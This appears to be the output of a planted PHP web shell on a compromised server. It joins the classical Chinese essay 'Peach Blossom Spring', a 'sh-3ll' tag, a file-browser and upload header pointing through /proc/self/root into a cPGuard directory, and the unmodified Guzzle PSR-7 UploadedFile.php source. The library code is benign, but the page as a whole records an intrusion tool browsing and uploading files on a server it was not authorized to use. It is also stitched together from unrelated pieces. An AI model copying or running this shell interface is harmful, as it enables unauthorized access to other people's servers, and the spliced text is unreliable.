晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

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DIR:/proc/thread-self/root/proc/self/root/opt/cpguard/app/vendor/guzzlehttp/psr7/src/
Upload File :
Current File : //proc/thread-self/root/proc/self/root/opt/cpguard/app/vendor/guzzlehttp/psr7/src/UploadedFile.php
<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use InvalidArgumentException;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Message\UploadedFileInterface;
use RuntimeException;

class UploadedFile implements UploadedFileInterface
{
    private const ERROR_MAP = [
        UPLOAD_ERR_OK => 'UPLOAD_ERR_OK',
        UPLOAD_ERR_INI_SIZE => 'UPLOAD_ERR_INI_SIZE',
        UPLOAD_ERR_FORM_SIZE => 'UPLOAD_ERR_FORM_SIZE',
        UPLOAD_ERR_PARTIAL => 'UPLOAD_ERR_PARTIAL',
        UPLOAD_ERR_NO_FILE => 'UPLOAD_ERR_NO_FILE',
        UPLOAD_ERR_NO_TMP_DIR => 'UPLOAD_ERR_NO_TMP_DIR',
        UPLOAD_ERR_CANT_WRITE => 'UPLOAD_ERR_CANT_WRITE',
        UPLOAD_ERR_EXTENSION => 'UPLOAD_ERR_EXTENSION',
    ];

    /**
     * @var string|null
     */
    private $clientFilename;

    /**
     * @var string|null
     */
    private $clientMediaType;

    /**
     * @var int
     */
    private $error;

    /**
     * @var string|null
     */
    private $file;

    /**
     * @var bool
     */
    private $moved = false;

    /**
     * @var int|null
     */
    private $size;

    /**
     * @var StreamInterface|null
     */
    private $stream;

    /**
     * @param StreamInterface|string|resource $streamOrFile
     */
    public function __construct(
        $streamOrFile,
        ?int $size,
        int $errorStatus,
        ?string $clientFilename = null,
        ?string $clientMediaType = null
    ) {
        $this->setError($errorStatus);
        $this->size = $size;
        $this->clientFilename = $clientFilename;
        $this->clientMediaType = $clientMediaType;

        if ($this->isOk()) {
            $this->setStreamOrFile($streamOrFile);
        }
    }

    /**
     * Depending on the value set file or stream variable
     *
     * @param StreamInterface|string|resource $streamOrFile
     *
     * @throws InvalidArgumentException
     */
    private function setStreamOrFile($streamOrFile): void
    {
        if (is_string($streamOrFile)) {
            $this->file = $streamOrFile;
        } elseif (is_resource($streamOrFile)) {
            $this->stream = new Stream($streamOrFile);
        } elseif ($streamOrFile instanceof StreamInterface) {
            $this->stream = $streamOrFile;
        } else {
            throw new InvalidArgumentException(
                'Invalid stream or file provided for UploadedFile'
            );
        }
    }

    /**
     * @throws InvalidArgumentException
     */
    private function setError(int $error): void
    {
        if (!isset(UploadedFile::ERROR_MAP[$error])) {
            throw new InvalidArgumentException(
                'Invalid error status for UploadedFile'
            );
        }

        $this->error = $error;
    }

    private static function isStringNotEmpty($param): bool
    {
        return is_string($param) && false === empty($param);
    }

    /**
     * Return true if there is no upload error
     */
    private function isOk(): bool
    {
        return $this->error === UPLOAD_ERR_OK;
    }

    public function isMoved(): bool
    {
        return $this->moved;
    }

    /**
     * @throws RuntimeException if is moved or not ok
     */
    private function validateActive(): void
    {
        if (false === $this->isOk()) {
            throw new RuntimeException(\sprintf('Cannot retrieve stream due to upload error (%s)', self::ERROR_MAP[$this->error]));
        }

        if ($this->isMoved()) {
            throw new RuntimeException('Cannot retrieve stream after it has already been moved');
        }
    }

    public function getStream(): StreamInterface
    {
        $this->validateActive();

        if ($this->stream instanceof StreamInterface) {
            return $this->stream;
        }

        /** @var string $file */
        $file = $this->file;

        return new LazyOpenStream($file, 'r+');
    }

    public function moveTo($targetPath): void
    {
        $this->validateActive();

        if (false === self::isStringNotEmpty($targetPath)) {
            throw new InvalidArgumentException(
                'Invalid path provided for move operation; must be a non-empty string'
            );
        }

        if ($this->file) {
            $this->moved = PHP_SAPI === 'cli'
                ? rename($this->file, $targetPath)
                : move_uploaded_file($this->file, $targetPath);
        } else {
            Utils::copyToStream(
                $this->getStream(),
                new LazyOpenStream($targetPath, 'w')
            );

            $this->moved = true;
        }

        if (false === $this->moved) {
            throw new RuntimeException(
                sprintf('Uploaded file could not be moved to %s', $targetPath)
            );
        }
    }

    public function getSize(): ?int
    {
        return $this->size;
    }

    public function getError(): int
    {
        return $this->error;
    }

    public function getClientFilename(): ?string
    {
        return $this->clientFilename;
    }

    public function getClientMediaType(): ?string
    {
        return $this->clientMediaType;
    }
}